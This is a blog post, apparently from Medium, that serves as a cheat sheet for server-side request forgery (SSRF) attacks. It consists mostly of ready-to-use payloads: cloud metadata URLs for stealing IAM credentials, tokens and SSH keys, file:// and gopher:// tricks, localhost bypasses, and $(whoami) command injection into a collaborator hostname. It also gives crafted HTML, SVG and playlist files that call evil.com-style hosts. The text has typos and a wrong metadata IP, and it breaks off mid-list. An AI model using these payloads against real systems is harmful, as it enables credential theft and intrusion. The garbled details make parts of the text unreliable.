SSRF
- SSRF (Server-Side Request Forgery) is a web security vulnerability that happens when an application allows an attacker to make arbitrary HTTP requests from the vulnerable server.
- In a Server-Side Request Forgery (SSRF) attack, The attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLS, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed.
Cloud Metadata
- What is cloud metadata??
- 169.254.164.254 is accessible internally within the machine you have access to. Provides details like internal IP, IP, hostname, project details, etc. And also it could give you access to access key and secret key
Exploitation
- suppose the web let you to upload image using url like: GET /api/v1/fetch?url=https://site.com/image.jpeg.
- if you but your bnurp colab insted of the url and you get HTTP and DNS interaction then , you can but the local host in the same place and deal with the server directly.
- localnhost ip of aws ⇒ 169.254.169.254
- full sensitive url in aws ⇒ http://169.254.169.254/latest/meta-data/local-hostname
- full sensitive url in aws ⇒ http://169.254.169.254/latest/dynamic/instance-identity/document
- full sensitive url in aws ⇒ http://169.254.169.254/latest/meta-data/iam/security-credential
- if it is google not aws then the path is ⇒window.location=”http://metadata.google.internal/computeMetadata/v1beta1/instance/service-account/default/token;”
- to get ssh-keys ⇒ http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys
Tips And Tricks
sensitive places for SSRF:
- ?url=file:///etc/passwd
- ?url=gopher://
- ?url=ssh:// ⇒ RCE
- ?url=dict:// (dictionary network protocol)
- ?url=ftp:// (file transfer protocol)
- ?url=ldap:// (lightweight directory access protocol)
- ?url=tftp://
if the sensitve path of local host of aws does not work just use ⇒ http://[::]
if 127.0.0.1 not work try to use ⇒ 127.1 or 127.0.0.0.0.1 and so on
if you have a website like:http://example.burpcollaporator.net ⇒ you can make RCE like :
Get Mohammed Hassan’s stories in your inbox
Join Medium for free to get updates from this writer.
http://`whoami`.example.burpcollaporator.net |http://$(whoami).example.burpcollaporator.net
then you may get the command on the burpcollaborator
Places to find SSRF
- Any parameter of url or uri:
url ,uri ,link ,target ,dest ,destination ,page ,path ,site ,file ,feed ,proxy ,host ,domain ,callback ,webhook ,img ,photo ,avatar ,picture ,upload_url , download ,resource ,api_url ,endpoint ,reference_url ,server ,next ,redir ,redirect ,return
2. Headers of the request
- X-Forwarded-For:
- X-Forwarded-Host:
- Origin:
- Host:
- Forwarded-For:
- X-Real-Ip:
3. full path of the site as:
- GET https://burpsuitecollab.net HTTP/1.1
- GEt @burpsuitecollab.net HTTP/1.1 (for Flask)
- GEt ;@burpsuitecollab.net HTTP/1.1 (for Spring Boot)
- GET @168.254.169.254 HTTP/1.1 ⇒ after one of the previous returns DNS and HTTP interaction
4. inside files or xss or xml files
---------------------------file.html---------------------------
<body>
<iframe src="http://169.254.169.254/latest/meta-data/" width="500" height="500"></iframe>
</body>
---------------------------file.svg----------------------------
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>---------------------------file.svg----------------------------
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="http://evil.com/"></image>
</svg>
---------------------------file.avi----------------------------
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
http://ssrfevil.com
#EXT-X-ENDLIST5. Time based SSRF










